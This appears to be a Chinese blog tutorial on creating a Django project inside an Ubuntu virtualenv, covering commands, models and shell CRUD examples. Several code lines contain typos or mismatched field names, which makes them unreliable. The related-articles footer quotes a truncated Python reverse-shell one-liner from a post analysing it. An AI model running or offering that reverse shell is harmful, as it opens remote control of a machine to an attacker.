在Ubuntu中创建一个简单的DJango项目

摘要:
一:创建及运行虚拟环境步骤说明1.使用命令行在Ubuntu系统下创建一个虚拟环境如创建一个叫py3的虚拟环境irtualenvpy32.进入创建好的虚拟环境workonpy33.在虚拟环境中安装Django,代码说明mkvirtualenv创建虚拟环境rmvirtualenv删除虚拟环境virtual虚拟机deactivate退出虚拟环境workon进入虚拟环境pipinstalldjango==

一:创建及运行虚拟环境

步骤说明

1. 使用命令行在Ubuntu系统下创建一个虚拟环境如创建一个叫py3的虚拟环境 irtualenv py3
2.进入创建好的虚拟环境 workon py3
3.在虚拟环境中安装Django,

代码说明

mkvirtualenv    创建虚拟环境  
rmvirtualenv 删除虚拟环境 
virtual 虚拟机 
deactivate  退出虚拟环境  
workon  进入虚拟环境  
pip install django==1.8.2 安装版本为1.8.2的Django
pip list    当前虚拟库里面所有的包 
pip freeze  看额外的包和版本    
django-admin startproject 项目名   创建一个项目
python manage.py startapp 名字    创建自己的应用文件   

二:创建Django项目

步骤简述

1. 先创建一个Django项目,如在桌面创建一个`test`的项目
2. 将创建好的项目在Pychare中配置好操作环境如:`/home/python/.virtualenvs/py3/bin/python3.5`
3. 在test1下创建一个应用如:`booktest`
4. 在创建好的`booktest`的`models.py`模块里面写一个模型类,类必须继承`models.Model`
5. 将创建好的应用`booktest`注册到settings.py文件中的`INSTLLED_APPS`中
6. 生成迁移文件:即根据创建的模型类生成相应的sql语句
7. 执行迁移:即执行sql语句生成数据表
8. 可进入`python shell` 练习
9. 命令行中运行该项目,默认端口为8000
10.打开浏览器,输入网址“127.0.0.1:8000”可以打开默认页面,对该站点的详细操作将在下一片文档详细说明,
11. 如果修改文件不需要重启服务器,如果增删文件需要重启服务器

第一步创建好的目录说明:

manage.py:一个命令行工具,可以使你用多种方式对Django项目进行交互
内层的目录:项目的真正的Python包
_init _.py:一个空文件,它告诉Python这个目录应该被看做一个Python包
settings.py:项目的配置
urls.py:项目的URL声明
wsgi.py:项目与WSGI兼容的Web服务器入口

- 上面1~8步所用到的命令

python manage.py runserver ip:port  运行django服务
django-admin startproject test1 创建项目
python manage.py startapp booktest 创建应用
python manage.py makemigrations 生成迁移文件
python manage.py migrate 执行迁移
python manage.py runserver  运行django服务
python manage.py shell 进入shell
  • 模型类代码
from django.db import models

class BookInfo(models.Model):
    """创建一个图书类"""
    btitle = models.CharField(max_length=20)
    bpub_date = models.DateTimeField()
    def _ _str_ _(self):
        return "%d" % self.pk

class HeroInfo(models.Model):
    """创建一个英雄类"""
    hname = models.CharField(max_length=20)
    hgender = models.BooleanField()
    hcontent = models.CharField(max_length=100)
    hBook = models.ForeignKey('BookInfo')
    def _ _str_ _(self):
        return "%d" % self.pk

三:使用shell操作Django

步骤说明

1. 使用命令进入shell
2. 引入需要的包和模块
3. 创建对应的类的对象,如 b = BookInfo()
4. 为该对象添加实例属性,
5. 为了Django能成功的将内容映射到字段上面(即模型类的类属性),添加的实例属性的名字必须和类属性的名字一样,这样才能映射成功.
6. 保存该实例对象的属性 b.save()
7. 查看,修改,删除相关信息>>可以查看所有,也可以根据id查看,查看所有的时候,返回的是一个对象的列表,可以对该列表进行操作.
8. 创建另一个关联了BookInfo的HeroInfo类的实例对象.
9. HeroInfo的外键必须引用一个BookInfo类创建好的一保存的对象,即有一个HeroInfo存在,必须要有一个BookInfo对象,提供了创建关联的数据:

命令说明

python manage.py shell  进入shell

from booktest.models import * 导入模型类中的所有类
from datetime import *
导入时间模块,书籍添加时间属性的时候使用
b = BookInfo()  创建实例对象
b.btitle="射雕英雄传"  添加书名
b.bpub_date=datetime(year=1990,month=1,day=10)  添加时间
b.save()  保存对象属性
BookInfo.objects.all() 返回对象列表
b=BookInfo.objects.get(pk=1) 根据id查找

查看id=1的图书的属性
b
b.id
b.btitle

修改图书信息
b.btitle="天龙八部"
b.save()

删除图书信息
b.delete()

关联对象
h=HeroInfo()
h.htitle=u'郭靖'
h.hgender=True
h.hcontent=u'降龙十八掌'
h.hBook=b  //这里引入的是外键属性,外键属性必须引用关联的一个实例对象
h.save()

免责声明:文章转载自《在Ubuntu中创建一个简单的DJango项目》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇微信公众平台开发入门教程(四)获取接收消息js 时间转换毫秒的四种方法(转)下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

redis集群离线安装

环境准备: redis-4.0.7.tar.gz redis的安装包 Ruby环境(集群搭建需要用ruby创建, ruby环境在2.2以上。) rubygems-2.7.4.tgz 和 redis-3.2.2.gem (后面的是redis集群需要的ruby插件,rubygems是ruby的一个包管理工具,通过rubygems安装redis-3.2.2.g...

Python解析Pcap包类源码学习

0x1、前言 ​ 在现场取证遇到分析流量包的情况会比较少,虽然流量类设备原理是把数据都抓出来进行解析,很大一定程度上已经把人可以做的事情交给了机器自动完成。 ​ 可用于PCAP包分析的软件比如科来,Wireshark都是很好用的分析软件,找Pcap解析的编程类代码时发现已经有很多大佬写过Python脚本辅助解析Pcap,也有提取将Pcap信息以界面形式展示...

原创:python的requests.post()向后端传递数据,数组结构需将python数据结果转换成JSON

 针对采集来的数据,用requests.post()向后端传递 如果是python数据结构如数组,需要转换成为JSON对象,否则后端容易解析不成后端集合的对象结构 re 一:python做为前端请求requests.post() ''' 后台接收是数组 ''' dataInfoList = [...

Python Flask获取iOS的UDID

测试iOS app时候,我们可以安装以下4种类型的包 : AdHoc                 -- 一般为正式环境验证AppStore             -- 上传AppStore,只有appstore审核通过发布出来后才能安装Development       -- 一般为测试环境验证Enterprise            -- 企业证...

记一次对python反弹shell的分析

前言 昨天学习了反弹shell,对python弹shell产生了一些疑惑 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.0.0.0",1234));os.dup2(s.fileno(),0); o...

python unittest控制用例的执行顺序

为什么要进行顺序控制呢?使用过testng的同学就知道,它相对于junit来说有更强大的功能,其中的一个功能就是依赖测试。什么是依赖测试呢?简单的说一下就是,A方法运行时,其中有个变量的取值是B方法的动态产出值。这样就必须先执行B方法。testng的test方法有dependson属性来制定方法的依赖。但是向python的unittet框架,他类似于jun...